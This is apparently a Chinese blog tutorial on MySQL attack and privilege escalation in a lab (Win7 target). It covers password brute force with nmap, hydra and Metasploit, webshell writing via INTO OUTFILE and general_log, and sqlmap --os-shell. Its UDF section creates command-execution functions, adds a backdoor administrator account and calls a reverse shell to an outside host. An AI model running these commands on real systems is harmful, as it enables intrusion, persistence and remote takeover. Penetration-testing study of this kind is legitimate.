环境搭建
win7的靶机(ip:192.168.153.132) + phpstudy搭建
- 将mysql设置为可以远程连接: - 在mysql库中,有一个user表,通过 - select host,user from user;来查看登陆的host- 将root用户改为任意的ip都可以登陆 - update user set host='%' where user='root'; 
获取权限
数据库操纵权限获取
mysql弱口令爆破
先使用nmap进行探测3306端口是否开放
nmap -sV 192.168.153.132: -sV通过开放的端口探测服务信息

开放了3306端口
通过hydra爆破

通过msf爆破
- msfconsole
- search mysql
- use xxx
- show options
- set xx xx
- run 
其他方法
通过sqlmap注入的–sql-shell模式

shell权限获取
写入shell需要具有写权限
into outfile
如果load_file()可用即secure_file_priv无限制,且具有写权限
secure_file_priv的值:
| Value | 说明 | 
|---|---|
| NULL | 不允许导入或导出 | 
| /tmp | 只允许在 /tmp 目录导入导出 | 
| 空 | 不限制目录 | 
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';sqlmap 中可以如下操作:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"通过日志写shell
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
win7靶机有一个phpmyadmin目录

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
首先开启general_log:
set global general_log=’on’;

之后shell就成功写入了

提权
上面已经通过了日志写shell得到了shell权限,现在就需要提升权限了
UDF提权
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便 实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便
手工提权
动态链接库
MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数
使用msf工具的动态链接库

放入plugin目录之后
创建命令执行函数
create function sys_eval returns string soname “lib_mysqludf_sys.dll”;
函数介绍:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。(但是不会有回显)
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。 一般用于创建新用户维持权限
命令:
create function cmdshell returns string soname ‘moonudf.dll’ 【创建cmdshell】
select cmdshell(‘net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add’) 【添加超级管理员】
select cmdshell(‘net user’) 【查看用户】
select cmdshell(‘netstat -an’) 【查看端口】
select name from mysql.func 【查看创建函数】
delete from mysql.func where name=’cmdshell’ 【删除cmdshell】
create function backshell returns string soname ‘moonudf.dll’ 【创建反弹函数】
select backshell(‘192.168.157.130’,12345) 【执行反弹】
delete from mysql.func where name=’backshell’ 【删除backshell】
寻找plugin目录
如果不存在,在mysql目录下新建lib/plugin文件夹
工具提权
- 暗月脚本 - 需要有plugin目录,和secure_file_priv=空,不为Null 
- MySQL 漏洞利用与提权 | 国光 (sqlsec.com)这里面也有一个工具 
sqlmap提权
secure_file_priv需要为空,不能为null
sqlmap -d “mysql://root:root@192.168.153.132:3306/mysql” –os-shell
msf提权
适合5.5.9以下版本
- Post link: https://roboterh.github.io/2022/04/14/Mysql%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.


